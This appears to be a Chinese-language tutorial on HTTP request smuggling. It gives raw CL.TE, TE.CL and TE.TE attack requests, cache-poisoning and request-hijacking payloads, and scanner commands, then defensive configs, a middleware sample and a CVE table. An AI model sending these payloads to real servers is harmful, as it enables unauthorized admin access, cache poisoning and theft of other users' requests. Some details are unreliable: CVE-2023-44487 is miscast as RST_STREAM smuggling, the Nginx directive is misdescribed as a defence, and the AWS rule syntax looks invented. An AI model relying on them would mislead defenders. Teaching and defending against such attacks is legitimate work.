1. HTTP请求走私核心原理
HTTP请求走私(HTTP Request Smuggling) 是一种利用前端服务器(如CDN)和后端服务器对HTTP请求解析差异的攻击技术,可实现:
-
缓存投毒(Cache Poisoning)
-
权限绕过(如管理接口未授权访问)
-
窃取用户请求(如Cookie劫持)
漏洞成因:
⚡ 分块编码(Transfer-Encoding) 与 内容长度(Content-Length) 解析冲突
⚡ 前后端服务器对RFC标准实现不一致
2. 攻击类型与利用场景
(1) CL.TE走私(前端看Content-Length,后端看Transfer-Encoding)
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 13
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
效果:后端服务器将GET /admin
视为独立请求
(2) TE.CL走私(前端看Transfer-Encoding,后端看Content-Length)
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Length: 15
x=1
0
特点:利用非标准分块长度触发解析差异
(3) TE.TE走私(双Transfer-Encoding混淆)
POST / HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: chunked
Transfer-Encoding: cow
5
hello
0
利用条件:前后端处理重复头部的策略不同
3. 高级利用技术
(1) 缓存投毒攻击
GET / HTTP/1.1
Host: victim.com
GET /evil.js HTTP/1.1
Host: victim.com
结果:CDN缓存evil.js
到首页URL
(2) 反射型走私(劫持用户请求)
POST /search HTTP/1.1
Host: shop.com
Content-Length: 50
Transfer-Encoding: chunked
0
GET /profile HTTP/1.1
X-Ignore: X
危害:下个用户的GET /profile
请求会被拼接到走私请求
(3) 分块编码绕过技巧
-
非ASCII字符:
长度值
字段包含\x80
等字符 -
空格干扰:
Transfer-Encoding : chunked
(冒号前空格)
4. 自动化检测工具
工具 | 功能 | 示例命令 |
---|---|---|
smuggler | 多技术检测 | python3 smuggler.py -u https://target.com |
Burp Suite | 手动测试模块 | 使用Repeater 修改请求头 |
h2smuggler | HTTP/2走私检测 | python3 h2smuggler.py --test https://target.com |
5. 防御方案
(1) 标准化配置
-
禁用冗余头部:拒绝包含多个
Content-Length
或Transfer-Encoding
的请求 -
强制HTTP/1.1规范化:统一处理请求边界
(2) 中间件防护(Nginx示例)
server {
# 显式设置最大头部数量
large_client_header_buffers 4 8k;
# 拒绝非标准分块
chunked_transfer_encoding off;
}
(3) 应用层校验
# Django中间件示例
class AntiSmugglingMiddleware:
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
if 'transfer-encoding' in request.headers and 'content-length' in request.headers:
raise SuspiciousOperation("Potential HTTP smuggling attack")
return self.get_response(request)
(4) 云服务方案
-
AWS ALB规则:
-
{ "Condition": { "Not": { "Field": "headers.transfer-encoding", "Exists": true } } }
-
Cloudflare自定义规则:拦截非常规分块请求
6. 历史重大漏洞
案例 | 影响范围 | 利用方式 |
---|---|---|
CVE-2023-44487 | HTTP/2快速重置 | 利用RST_STREAM帧走私 |
AWS CL.TE漏洞 | 部分ELB配置 | 缓存投毒攻击 |
Akamai绕过 | 边缘节点 | TE.CL混淆 |
7. 企业级防护策略
-
流量监控指标:
-
异常
Content-Length
与实际体长度不匹配 -
非标准分块编码请求
-
-
WAF规则:
^(Transfer-Encoding|Content-Length).*[\r\n].*\1
渗透测试要点:
-
测试
GET /admin
走私到内部接口 -
验证缓存是否存储走私响应
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容